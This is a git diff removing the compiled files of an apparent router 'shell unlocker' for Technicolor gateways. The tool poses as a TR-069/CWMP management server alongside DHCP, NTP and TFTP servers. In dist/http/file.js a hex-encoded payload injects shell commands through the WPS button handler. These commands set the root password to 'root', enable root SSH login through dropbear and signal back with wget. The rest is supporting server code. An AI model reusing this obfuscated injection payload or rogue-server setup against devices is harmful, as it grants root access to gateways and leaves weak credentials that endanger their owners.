child[1].Value; - } else { - node[child[0]] = child[1]; - } - } - match(/^<\/[\w-:.]+>\s*/); - return [m[1], node]; - }; - content = function() { - var m; - m = match(/^([^<]*)/); - return m != null ? m[1] : void 0; - }; - attribute = function() { - var m; - m = match(/([\w:-]+)\s*=\s*("[^"]*"|'[^']*'|\w+)\s*/); - if (!m) { - return; - } - return { - name: m[1], - value: m[2].replace(/^['"]|['"]$/g, '') - }; - }; - match = function(re) { - var m; - m = xml.match(re); - if (!m) { - return; - } - xml = xml.slice(m[0].length); - return m; - }; - eos = function() { - return !xml.length; - }; - has = function(prefix) { - return 0 === xml.indexOf(prefix); - }; - xml = xml.trim(); - xml = xml.replace(//g, ''); - ref = tag(), name = ref[0], obj = ref[1]; - return ( - obj1 = {}, - obj1["" + name] = obj, - obj1 - ); -}; - -exports.methods = methods = { - 'cwmp:TransferCompleteResponse': function(res) { - var h, i, ref, w; - i = 0; - ref = process.stdout.getWindowSize(), h = ref[0], w = ref[1]; - while (i++ < w) { - console.log('\u000d\n'); - } - console.log("\n*** PRESS AND HOLD THE WPS BUTTON ON YOUR GATEWAY ***\n"); - console.log("### WAITING FOR WPS CALLBACK"); - return ""; - }, - 'cwmp:Download': function(res) { - return "\n " + (res.commandKey || res.id) + "\n " + res.fileType + "\n " + res.url + "\n " + (res.fileSize || 0) + "\n 0\n"; - }, - 'cwmp:InformResponse': function(res, headers) { - headers['Set-Cookie'] = "session=7b0fa33078153e5c"; - return "\n 1\n"; - } -}; - -exports.createSoapEnv = function(res, headers) { - return "\n\n \n " + res.id + "\n \n \n " + (methods[res.name](res, headers)) + "\n \n"; -}; - -exports.fileTypes = { - 1: '1 Firmware Upgrade Image', - 2: '2 Web Content', - 3: '3 Vendor Configuration File', - 4: '4 Tone File', - 5: '5 Ringer File' -}; diff --git a/dist/http/file.js b/dist/http/file.js deleted file mode 100644 index 367e594..0000000 --- a/dist/http/file.js +++ /dev/null @@ -1,4 +0,0 @@ -module.exports = { - name: 'file.sts', - data: Buffer.from('7265626f6f74206f66660a73657420627574746f6e2e7770732e68616e646c65723d22736564202d69202773232f726f6f743a2e2a24232f726f6f743a2f62696e2f6173682327202f6574632f706173737764202626206563686f20726f6f743a726f6f74207c20636870617373776420262620736564202d692e736176652027732f232f2f27202f6574632f696e697474616220262620756369206164642064726f70626561722064726f7062656172202626207563692072656e616d652064726f70626561722e4064726f70626561725b2d315d3d61666720262620756369207365742064726f70626561722e6166672e656e61626c653d27312720262620756369207365742064726f70626561722e6166672e496e746572666163653d276c616e2720262620756369207365742064726f70626561722e6166672e506f72743d2732322720262620756369207365742064726f70626561722e6166672e49646c6554696d656f75743d273630302720262620756369207365742064726f70626561722e6166672e50617373776f7264417574683d276f6e2720262620756369207365742064726f70626561722e6166672e526f6f7450617373776f7264417574683d276f6e2720262620756369207365742064726f70626561722e6166672e526f6f744c6f67696e3d2731272026262075636920636f6d6d69742064726f7062656172202626202f6574632f696e69742e642f64726f706265617220656e61626c65202626202f6574632f696e69742e642f64726f70626561722072657374617274202626207563692073657420627574746f6e2e7770732e68616e646c65723d277770735f627574746f6e5f707265737365642e7368272026262075636920636f6d6d69742026262077676574207b7b75726c7d7d646f6e65207c7c207472756522', 'hex') -}; diff --git a/dist/http/index.js b/dist/http/index.js deleted file mode 100644 index e2c7be7..0000000 --- a/dist/http/index.js +++ /dev/null @@ -1,72 +0,0 @@ -var Duplex, args, createServer, cwmp, existsSync, file, path, readFileSync, ref, route, statSync; - -Duplex = require('stream').Duplex; - -createServer = require('http').createServer; - -ref = require('fs'), readFileSync = ref.readFileSync, existsSync = ref.existsSync, statSync = ref.statSync; - -path = require('path'); - -file = require('./file'); - -route = require('./router'); - -args = require('../args'); - -cwmp = require('./cwmp'); - -module.exports = function(ip, port, url) { - var e, srv; - if (args.file) { - file.name = path.basename(args.file); - try { - file.data = readFileSync(args.file); - } catch (error) { - e = error; - throw e; - } - } - file.data = Buffer.from(file.data).toString('utf8').replace('{{url}}', url, 'utf8'); - file.ext = path.extname(file.name); - route.get("/" + file.name, function(req, res) { - var ext, headers, stream; - ext = file.ext.toUpperCase(); - console.log(">>> " + ext + " REQUEST"); - headers = { - 'Content-Type': 'text/plain', - 'Content-Length': file.data.length - }; - console.log('>>> #{ ext } RESPONSE'); - console.dir([headers, file.data.toString('utf8')]); - res.writeHead(200, headers); - stream = new Duplex(); - stream.push(file.data); - stream.push(null); - return stream.pipe(res); - }).get('/done', function(req, res) { - console.log('>>> WPS CALLBACK'); - console.log("\n\nAll done,\n\n- change network card settings back to dhcp and move the cable back to a lan port\n- try ssh connection to the gateways ip (usually 192.168.0.1) with username root and password root (change password immediately with passwd!)\n\nssh root@192.168.0.1"); - setTimeout(function() { - return process.exit(1); - }, 20000); - res.writeHead(200); - return res.end(); - }).post('/', cwmp(url)); - srv = createServer(route); - srv.keepAliveTimeout = 30000; - srv.on('error', function(e) { - var ref1; - if ((ref1 = e.code) === 'EADDRINUSE' || ref1 === 'EADDRNOTAVAIL') { - console.log(e.code + ', retrying...'); - return setTimeout(function() { - srv.close(); - return srv.listen(port); - }, 1000); - } else { - return console.error(e); - } - }); - srv.listen(port); - return srv; -}; diff --git a/dist/http/router.js b/dist/http/router.js deleted file mode 100644 index 81ce836..0000000 --- a/dist/http/router.js +++ /dev/null @@ -1,177 +0,0 @@ -var HTTP_METHODS, METHODS, decode, error, formatter, matcher, noop, param, router, str; - -param = function(val) { - return function(map) { - return map[val]; - }; -}; - -str = function(val) { - return function() { - return val; - }; -}; - -formatter = function(format) { - if (!format) { - return null; - } - format = format.replace(/\{\*\}/g, '*').replace(/\*/g, '{*}').replace(/:(\w+)/g, '{$1}'); - format = format.match(/(?:[^\{]+)|(?:{[^\}]+\})/g).map(function(item) { - if (item[0] !== '{') { - return str(item); - } else { - return param(item.substring(1, item.length - 1)); - } - }); - return function(params) { - return format.reduce(function(result, item) { - return result + item(params); - }, ''); - }; -}; - -decode = function(str) { - var err; - try { - return decodeURIComponent(str); - } catch (error1) { - err = error1; - return str; - } -}; - -matcher = function(pattern) { - var keys; - if (typeof pattern !== 'string') { - return function(url) { - return url.match(pattern); - }; - } - keys = []; - pattern = pattern.replace(/:(\w+)/g, '{$1}').replace('{*}', '*'); - pattern = pattern.replace(/(\/)?(\.)?\{([^}]+)\}(?:\(([^)]*)\))?(\?)?/g, function(match, slash, dot, key, capture, opt, offset) { - var incl; - incl = (pattern[match.length + offset] || '/') === '/'; - keys.push(key); - return (incl ? '(?:' : '') + (slash || '') + (incl ? '' : '(?:') + (dot || '') + '(' + (capture || '[^/]+') + '))' + (opt || ''); - }); - pattern = pattern.replace(/([\/.])/g, '\\$1').replace(/\*/g, '(.+)'); - pattern = new RegExp('^' + pattern + '[\\/]?$', 'i'); - return function(str) { - var map, match; - match = str.match(pattern); - if (!match) { - return match; - } - map = {}; - match.slice(1).forEach(function(param, i) { - var k; - k = keys[i] = keys[i] || 'wildcard'; - param = param && decode(param); - return map[k] = map[k] ? [].concat(map[k]).concat(param) : param; - }); - if (map.wildcard) { - map['*'] = map.wildcard; - } - return map; - }; -}; - -METHODS = ['get', 'post', 'put', 'del', 'delete', 'head', 'options']; - -HTTP_METHODS = ['GET', 'POST', 'PUT', 'DELETE', 'DELETE', 'HEAD', 'OPTIONS']; - -noop = function() {}; - -error = function(res) { - return function() { - res.statusCode = 404; - res.end(); - }; -}; - -router = function() { - var methods, route, traps; - methods = {}; - traps = {}; - HTTP_METHODS.forEach(function(method) { - return methods[method] = []; - }); - route = function(req, res, next) { - var i, index, lp, method, trap, url; - method = methods[req.method]; - trap = traps[req.method]; - index = req.url.indexOf('?'); - url = index === -1 ? req.url : req.url.substr(0, index); - i = 0; - next = next || error(res); - if (!method) { - return next(); - } - lp = function(err) { - if (err) { - return next(err); - } - while (i < method.length) { - route = method[i]; - i++; - req.params = route.pattern(url); - if (!req.params) { - continue; - } - if (route.rewrite) { - req.url = url = route.rewrite(req.params) + (index === -1 ? '' : req.url.substr(index)); - } - route.fn(req, res, lp); - return; - } - if (!trap) { - return next(); - } - trap(req, res, next); - }; - lp(); - }; - METHODS.forEach(function(method, i) { - route[method] = function(pattern, rewrite, fn) { - if (Array.isArray(pattern)) { - pattern.forEach(function(item) { - return route[method](item, rewrite, fn); - }); - } - if (!fn && !rewrite) { - return route[method](null, null, pattern); - } - if (!fn && typeof rewrite === 'string') { - return route[method](pattern, rewrite, route); - } - if (!fn && typeof rewrite === 'function') { - return route[method](pattern, null, rewrite); - } - if (!fn) { - return route; - } - (route.onmount || noop)(pattern, rewrite, fn); - if (!pattern) { - traps[HTTP_METHODS[i]] = fn; - return route; - } - methods[HTTP_METHODS[i]].push({ - pattern: matcher(pattern), - rewrite: formatter(rewrite), - fn: fn - }); - return route; - }; - }); - route.all = function(pattern, rewrite, fn) { - METHODS.forEach(function(method) { - return route[method](pattern, rewrite, fn); - }); - return route; - }; - return route; -}; - -module.exports = router(); diff --git a/dist/index.js b/dist/index.js deleted file mode 100644 index e106a24..0000000 --- a/dist/index.js +++ /dev/null @@ -1,57 +0,0 @@ -var args, ask, dhcpd, httpd, ip, pkg, port, rl, servers, tftp; - -pkg = require('../package.json'); - -args = require('./args'); - -ip = args.ip || '58.162.0.1'; - -console.log("Technicolor OpenWRT Shell Unlocker v" + pkg.version + " By BoLaMN\n\n* Connect network cable from your computer to the WAN (red) port of the modem\n* Change your computers network card to be a static ip address\n\n IPv4 Address: " + ip + "\n Subnet Mask: 255.255.255.0\n Default Gateway\\Router: " + ip + "\n"); - -ask = require('./ask'); - -dhcpd = require('./dhcp'); - -httpd = require('./http'); - -port = require('./get-port'); - -tftp = require('./tftp'); - -servers = []; - -if (args.tftp) { - servers.push.apply(servers, tftp(args)); -} else if (args.dhcponly) { - servers.push(dhcpd(ip, args.acsurl, args.acspass)); -} else { - ask(ip).then(port).then(function(p) { - var u, url; - u = new URL(args.acsurl || ("http://" + ip)); - u.port = p; - url = u.toString(); - console.log("listening for cwmp requests at " + url); - servers.push(dhcpd(ip, url, args.acspass)); - return servers.push(httpd(ip, p, url)); - }); -} - -if (process.platform === 'win32') { - rl = require('readline').createInterface({ - input: process.stdin, - output: process.stdout - }); - rl.on('SIGINT', function() { - return process.emit('SIGINT'); - }); -} - -process.on('SIGINT', function() { - console.log("\nshutting down servers from SIGINT (Ctrl+C)"); - servers.forEach(function(server) { - return server.close(); - }); - return setTimeout(function() { - return process.exit(); - }, 2000); -}); diff --git a/dist/ips.js b/dist/ips.js deleted file mode 100644 index 6c7f493..0000000 --- a/dist/ips.js +++ /dev/null @@ -1,41 +0,0 @@ -var networkInterfaces; - -networkInterfaces = require('os').networkInterfaces; - -module.exports = function() { - var addr, address, base, details, family, i, internal, k, len, name, obj, ref, ref1, s, t, v; - addr = []; - obj = {}; - ref = networkInterfaces(); - for (name in ref) { - details = ref[name]; - if (obj[name] == null) { - obj[name] = {}; - } - for (i = 0, len = details.length; i < len; i++) { - ref1 = details[i], family = ref1.family, internal = ref1.internal, address = ref1.address; - if (!internal) { - if (!address.startsWith('2001')) { - if ((base = obj[name])[family] == null) { - base[family] = []; - } - obj[name][family].push({ - name: name, - address: address, - family: family - }); - } - } - } - } - for (k in obj) { - v = obj[k]; - if (v.IPv4 != null) { - for (s in v) { - t = v[s]; - addr.push.apply(addr, t); - } - } - } - return addr; -}; diff --git a/dist/ntp/client.js b/dist/ntp/client.js deleted file mode 100644 index 61bb467..0000000 --- a/dist/ntp/client.js +++ /dev/null @@ -1,76 +0,0 @@ -'use strict'; -var EventEmitter, NTP, Packet, createSocket, - extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, - hasProp = {}.hasOwnProperty; - -Packet = require('./packet'); - -createSocket = require('dgram').createSocket; - -EventEmitter = require('events').EventEmitter; - -NTP = (function(superClass) { - extend(NTP, superClass); - - function NTP(options, callback) { - if (typeof options === 'function') { - callback = options; - options = {}; - } - Object.assign(this, { - server: '127.0.0.1', - port: 123 - }, options); - this.socket = new createSocket('udp4'); - if (typeof callback === 'function') { - this.time(callback); - } - } - - NTP.prototype.time = function(callback) { - var packet, port, ref, server, timeout; - ref = this, server = ref.server, port = ref.port, timeout = ref.timeout; - packet = NTP.createPacket(); - this.socket.send(packet, 0, packet.length, port, server, (function(_this) { - return function(err) { - if (err) { - return callback(err); - } - return _this.socket.once('message', function(data) { - var message; - message = NTP.parse(data); - return callback(err, message); - }); - }; - })(this)); - return this; - }; - - NTP.time = function(options, callback) { - return new NTP(options, callback); - }; - - NTP.createPacket = function() { - var packet; - packet = new Packet; - packet.mode = Packet.MODES.CLIENT; - return packet.toBuffer(); - }; - - NTP.parse = function(buffer) { - var T1, T2, T3, T4, message; - message = Packet.parse(buffer); - T1 = message.originateTimestamp; - T2 = message.receiveTimestamp; - T3 = message.transmitTimestamp; - T4 = message.destinationTimestamp; - message.d = T4 - T1 - (T3 - T2); - message.t = (T2 - T1 + T3 - T4) / 2; - return message; - }; - - return NTP; - -})(EventEmitter); - -module.exports = NTP; diff --git a/dist/ntp/index.js b/dist/ntp/index.js deleted file mode 100644 index ee562e3..0000000 --- a/dist/ntp/index.js +++ /dev/null @@ -1,15 +0,0 @@ -'use strict'; -var createServer, ntp; - -createServer = require('./server').createServer; - -ntp = createServer(function(message, response) { - console.log('server message:', message); - return response(message); -}); - -ntp.listen(123, function(err) { - return console.log('ntp server is running at %s', ntp.address().port); -}); - -module.exports = ntp; diff --git a/dist/ntp/packet.js b/dist/ntp/packet.js deleted file mode 100644 index fd953e2..0000000 --- a/dist/ntp/packet.js +++ /dev/null @@ -1,173 +0,0 @@ -var Packet, SEVENTY_YEARS, after, assert, before, toMsecs, writeMsecs; - -assert = require('assert'); - -SEVENTY_YEARS = 2208988800; - -toMsecs = function(buffer, offset) { - var fraction, i, seconds; - seconds = 0; - fraction = 0; - i = 0; - while (i < 4) { - seconds = seconds * 256 + buffer[offset + i]; - ++i; - } - i = 4; - while (i < 8) { - fraction = fraction * 256 + buffer[offset + i]; - ++i; - } - return (seconds - SEVENTY_YEARS + fraction / Math.pow(2, 32)) * 1000; -}; - -writeMsecs = function(buffer, offset, ts) { - var fraction, seconds; - seconds = Math.floor(ts / 1000) + SEVENTY_YEARS - SEVENTY_YEARS; - fraction = Math.round(ts % 1000 / 1000 * Math.pow(2, 32)); - buffer[offset + 0] = (seconds & 0xFF000000) >> 24; - buffer[offset + 1] = (seconds & 0x00FF0000) >> 16; - buffer[offset + 2] = (seconds & 0x0000FF00) >> 8; - buffer[offset + 3] = seconds & 0x000000FF; - buffer[offset + 4] = (fraction & 0xFF000000) >> 24; - buffer[offset + 5] = (fraction & 0x00FF0000) >> 16; - buffer[offset + 6] = (fraction & 0x0000FF00) >> 8; - buffer[offset + 7] = fraction & 0x000000FF; - return buffer; -}; - -before = function(val) { - var value; - value = parseInt(val.toString().split('.')[0], 10); - if (value) { - return value; - } else { - return 0; - } -}; - -after = function(val) { - var value; - value = parseInt(val.toString().split('.')[1], 10); - if (value) { - return value; - } else { - return 0; - } -}; - -Packet = (function() { - Packet.MODES = { - CLIENT: 3, - SERVER: 4 - }; - - function Packet() { - Object.assign(this, { - leapIndicator: 0, - version: 4, - mode: 3, - stratum: 0, - pollInterval: 6, - precision: 236, - referenceIdentifier: 0, - referenceTimestamp: 0, - originateTimestamp: 0, - receiveTimestamp: 0, - transmitTimestamp: 0 - }); - } - - Packet.parse = function(buffer) { - var packet; - assert.equal(buffer.length, 48, 'Invalid Package'); - packet = new Packet; - packet.leapIndicator = buffer[0] >> 6; - packet.version = (buffer[0] & 0x38) >> 3; - packet.mode = buffer[0] & 0x7; - packet.stratum = buffer[1]; - packet.pollInterval = buffer[2]; - packet.precision = buffer[3]; - packet.rootDelay = buffer.slice(4, 8); - packet.rootDispersion = buffer.slice(8, 12); - packet.referenceIdentifier = buffer.slice(12, 16); - packet.referenceTimestamp = toMsecs(buffer, 16); - packet.originateTimestamp = toMsecs(buffer, 24); - packet.receiveTimestamp = toMsecs(buffer, 32); - packet.transmitTimestamp = toMsecs(buffer, 40); - return packet; - }; - - Packet.prototype.toBuffer = function() { - var buffer; - buffer = Buffer.alloc(48).fill(0x00); - buffer[0] = 0; - buffer[0] += this.leapIndicator << 6; - buffer[0] += this.version << 3; - buffer[0] += this.mode << 0; - buffer[1] = this.stratum; - buffer[2] = this.pollInterval; - buffer[3] = this.precision; - buffer.writeUInt32BE(this.rootDelay, 4); - buffer.writeUInt32BE(this.rootDispersion, 8); - buffer.writeUInt32BE(this.referenceIdentifier, 12); - writeMsecs(buffer, 16, this.referenceTimestamp); - writeMsecs(buffer, 24, this.originateTimestamp); - writeMsecs(buffer, 32, this.receiveTimestamp); - writeMsecs(buffer, 40, this.transmitTimestamp); - return buffer; - }; - - Packet.prototype.toJSON = function() { - var output; - output = Object.assign({}, this); - output.version = this.version; - output.leapIndicator = { - 0: 'no-warning', - 1: 'last-minute-61', - 2: 'last-minute-59', - 3: 'alarm' - }[this.leapIndicator]; - switch (this.mode) { - case 1: - output.mode = 'symmetric-active'; - break; - case 2: - output.mode = 'symmetric-passive'; - break; - case 3: - output.mode = 'client'; - break; - case 4: - output.mode = 'server'; - break; - case 5: - output.mode = 'broadcast'; - break; - case 0: - case 6: - case 7: - output.mode = 'reserved'; - } - if (this.stratum === 0) { - output.stratum = 'death'; - } else if (this.stratum === 1) { - output.stratum = 'primary'; - } else if (this.stratum <= 15) { - output.stratum = 'secondary'; - } else { - output.stratum = 'reserved'; - } - output.referenceTimestamp = new Date(this.referenceTimestamp); - output.originateTimestamp = new Date(this.originateTimestamp); - output.receiveTimestamp = new Date(this.receiveTimestamp); - output.transmitTimestamp = new Date(this.transmitTimestamp); - output.destinationTimestamp = new Date(this.destinationTimestamp); - return output; - }; - - return Packet; - -})(); - -module.exports = Packet; diff --git a/dist/ntp/server.js b/dist/ntp/server.js deleted file mode 100644 index 4ecd87e..0000000 --- a/dist/ntp/server.js +++ /dev/null @@ -1,74 +0,0 @@ -'use strict'; -var EventEmitter, NTPServer, Packet, udp, - extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, - hasProp = {}.hasOwnProperty; - -udp = require('dgram'); - -EventEmitter = require('events'); - -Packet = require('./packet'); - -NTPServer = (function(superClass) { - extend(NTPServer, superClass); - - NTPServer.createServer = function(options) { - return new NTPServer(options); - }; - - function NTPServer(options, onRequest) { - NTPServer.__super__.constructor.call(this); - if (typeof options === 'function') { - onRequest = options; - options = {}; - } - Object.assign(this, { - port: 123 - }, options); - this.socket = udp.createSocket('udp4'); - this.socket.on('message', this.parse.bind(this)); - if (onRequest) { - this.on('request', onRequest); - } - this; - } - - NTPServer.prototype.listen = function(port, address) { - this.socket.bind(port || this.port, address); - return this; - }; - - NTPServer.prototype.address = function() { - return this.socket.address(); - }; - - NTPServer.prototype.send = function(rinfo, message, callback) { - if (callback == null) { - callback = function() {}; - } - if (message instanceof Packet) { - message.mode = Packet.MODES.SERVER; - message = message.toBuffer(); - } - console.log('response', message, 0, message.length, rinfo.port, rinfo.address); - this.socket.send(message, 0, message.length, rinfo.port, rinfo.address); - this.socket.send(message, rinfo.port, rinfo.server, callback); - return this; - }; - - NTPServer.prototype.parse = function(message, rinfo) { - var packet; - packet = Packet.parse(message); - this.send(rinfo, packet, function(err) { - if (err) { - return console.error(err); - } - }); - return this; - }; - - return NTPServer; - -})(EventEmitter); - -module.exports = NTPServer; diff --git a/dist/ntp/server2.js b/dist/ntp/server2.js deleted file mode 100644 index 65b7ac6..0000000 --- a/dist/ntp/server2.js +++ /dev/null @@ -1,109 +0,0 @@ -var EventEmitter, TimeServer, dgram, server, util, - extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, - hasProp = {}.hasOwnProperty; - -EventEmitter = require('events').EventEmitter; - -util = require('util'); - -dgram = require('dgram'); - -TimeServer = (function(superClass) { - extend(TimeServer, superClass); - - function TimeServer(time, error, version, mode, stratum, delay, dispersion) { - var createTime, ntp_peer_clock_precision, ntp_peer_clock_stratum, ntp_reference_id, ntp_root_delay, ntp_root_dispersion, ntp_seconds_since_epoch, ntp_server_error, ntp_server_mode, ntp_server_version; - TimeServer.__super__.constructor.apply(this, arguments); - this._socket = dgram.createSocket('udp4'); - ntp_server_error = ('0' + parseInt(error, 10).toString(2)).slice(-2); - ntp_server_version = ('00' + parseInt(version, 10).toString(2)).slice(-3); - ntp_server_mode = ('00' + parseInt(mode, 10).toString(2)).slice(-3); - ntp_peer_clock_stratum = '1'; - ntp_peer_clock_precision = '128'; - ntp_root_delay = '0.9900'; - ntp_root_dispersion = '0.9900'; - ntp_seconds_since_epoch = '2208988800'; - ntp_reference_id = [78, 85, 76, 76]; - if (time === '') { - createTime = 'recent'; - } else { - createTime = (parseInt(new Date / 1000) - parseInt(time)).toString(); - } - this._socket.on('message', (function(_this) { - return function(msg, rinfo) { - var timestamp; - _this.emit('data', 'received message from ' + rinfo.address + ':' + rinfo.port); - if (createTime === 'recent') { - timestamp = (new Date / 1000).toString(); - } else { - timestamp = (parseInt(new Date / 1000) - parseInt(createTime)).toString(); - } - msg.writeUIntBE(parseInt(ntp_server_error + ntp_server_version + ntp_server_mode, 2), 0, 1); - msg.writeUIntBE(parseInt(ntp_peer_clock_stratum, 10), 1, 1); - msg.writeUIntBE(parseInt(ntp_peer_clock_precision, 10), 3, 1); - msg.writeUIntBE(ntp_root_delay.before(), 4, 2); - msg.writeUIntBE(65535 / 10000 * ntp_root_delay.after(), 6, 2); - msg.writeUIntBE(parseInt(ntp_root_dispersion.before(), 10), 8, 2); - msg.writeUIntBE(65535 / 10000 * ntp_root_dispersion.after(), 10, 2); - msg.writeUIntBE(parseInt(ntp_reference_id[0], 10), 12, 1); - msg.writeUIntBE(parseInt(ntp_reference_id[1], 10), 13, 1); - msg.writeUIntBE(parseInt(ntp_reference_id[2], 10), 14, 1); - msg.writeUIntBE(parseInt(ntp_reference_id[3], 10), 15, 1); - msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 16, 4); - msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 24, 4); - msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 32, 4); - msg.writeUIntBE(parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 40, 4); - return _this._socket.send(msg, 0, msg.length, rinfo.port, rinfo.address, function(err, bytes) { - if (err) { - throw err; - } - return _this.emit('data', 'send response to ' + rinfo.address + ':' + rinfo.port); - }); - }; - })(this)); - this._socket.on('listening', (function(_this) { - return function() { - var address; - address = _this._socket.address(); - return _this.emit('data', 'server listening ' + address.address + ':' + address.port); - }; - })(this)); - this._socket.on('error', (function(_this) { - return function(err) { - return _this.emit('data', err); - }; - })(this)); - this._socket.bind(123); - } - - return TimeServer; - -})(EventEmitter); - -String.prototype.before = function() { - var value; - value = parseInt(this.toString().split('.')[0], 10); - if (value) { - return value; - } else { - return 0; - } -}; - -String.prototype.after = function() { - var value; - value = parseInt(this.toString().split('.')[1], 10); - if (value) { - return value; - } else { - return 0; - } -}; - -server = new TimeServer('1220580245', '0', '4', '4', '1', '0.9900', '0.9900'); - -server.on('data', function(output) { - return console.log(output); -}); - -module.exports = TimeServer; diff --git a/dist/port.js b/dist/port.js deleted file mode 100644 index d7f0a3d..0000000 --- a/dist/port.js +++ /dev/null @@ -1,19 +0,0 @@ -var net; - -net = require('net'); - -module.exports = function() { - return new Promise(function(resolve, reject) { - var server; - server = net.createServer(); - server.unref(); - server.on('error', reject); - return server.listen(0, function() { - var port; - port = server.address().port; - return server.close(function() { - return resolve(port); - }); - }); - }); -}; diff --git a/dist/tftp.js b/dist/tftp.js deleted file mode 100644 index c383bfc..0000000 --- a/dist/tftp.js +++ /dev/null @@ -1,129 +0,0 @@ -var ProgressIndicator, Transform, createServer, dhcp, fs, ips, path, - extend = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; }, - hasProp = {}.hasOwnProperty; - -fs = require('fs'); - -path = require('path'); - -createServer = require('tftp').createServer; - -Transform = require('stream').Transform; - -dhcp = require('./dhcp/server'); - -ips = require('./ips')(); - -ProgressIndicator = (function(superClass) { - extend(ProgressIndicator, superClass); - - function ProgressIndicator(size, options) { - this.size = size; - ProgressIndicator.__super__.constructor.call(this, options); - this.last = 0; - this.bytes = 0; - } - - ProgressIndicator.prototype._transform = function(chunk, encoding, cb) { - var percent; - this.bytes += chunk.length; - percent = this.bytes / this.size * 100 | 0; - if ((percent % 5) === 0 && percent !== this.last) { - this.last = percent; - this.emit('progress', { - percent: percent, - loaded: this.bytes, - total: this.size - }); - } - cb(null, chunk); - }; - - return ProgressIndicator; - -})(Transform); - -module.exports = function(arg) { - var addr, dhcpd, eth, ip, network, server, tftp; - eth = arg.eth, ip = arg.ip, tftp = arg.tftp; - if (eth != null) { - network = ips.find(function(arg1) { - var name; - name = arg1.name; - return name === eth; - }); - } - if (ip == null) { - ip = network != null ? network.address : void 0; - } - addr = ip.split('.'); - addr.pop(); - addr = addr.join('.'); - dhcpd = dhcp.createServer({ - range: [addr + '.10', addr + '.15'], - forceOptions: ['router', 'hostname', 'bootFile'], - randomIP: true, - netmask: '255.255.255.0', - router: [ip], - hostname: 'second.gateway', - broadcast: addr + '.255', - bootFile: function(req, res) { - console.log(req, res); - return path.basename(tftp); - }, - server: ip - }).on('listening', function(sock, type) { - var address, port, ref; - ref = sock.address(), address = ref.address, port = ref.port; - return console.log("Waiting for DHCP" + type + " request... " + address + ":" + port); - }).on('message', function(data) { - return console.log('### MESSAGE', JSON.stringify(data)); - }).on('bound', function(state, ans) { - return console.log('### BOUND', JSON.stringify(state)); - }).on('error', function(err, data) { - if (!data) { - return; - } - return console.log('!!! ERROR', err, data); - }).listen(67); - server = createServer({ - host: '0.0.0.0', - port: 69, - denyPUT: true - }, function(req, res) { - var done, firmwareStream, prog, stats; - console.log('Received tftp request from', req.stats.remoteAddress, 'for file', req.file); - stats = fs.statSync(tftp); - res.setSize(stats.size); - firmwareStream = fs.createReadStream(tftp); - console.log('Sending firmware to router...'); - prog = new ProgressIndicator(stats.size); - done = false; - prog.on('progress', function(arg1) { - var p, percent; - percent = arg1.percent; - p = Math.round(percent * 100) / 100; - if (p % 10 === 0) { - console.log('Sent: ' + p + '%'); - } - if (percent >= 100) { - if (done) { - return; - } - console.log('Firmware sent! Now just wait for the router to reboot'); - firmwareStream.close(); - done = true; - } - }); - firmwareStream.pipe(prog).pipe(res); - return req.on('error', function(err) { - return console.error('ERROR:', err); - }); - }); - server.on('error', function(err) { - return console.error('ERROR:', err); - }); - console.log('Starting tftp server, listening on ' + ip + ':69'); - server.listen(); - return [dhcpd, server]; -};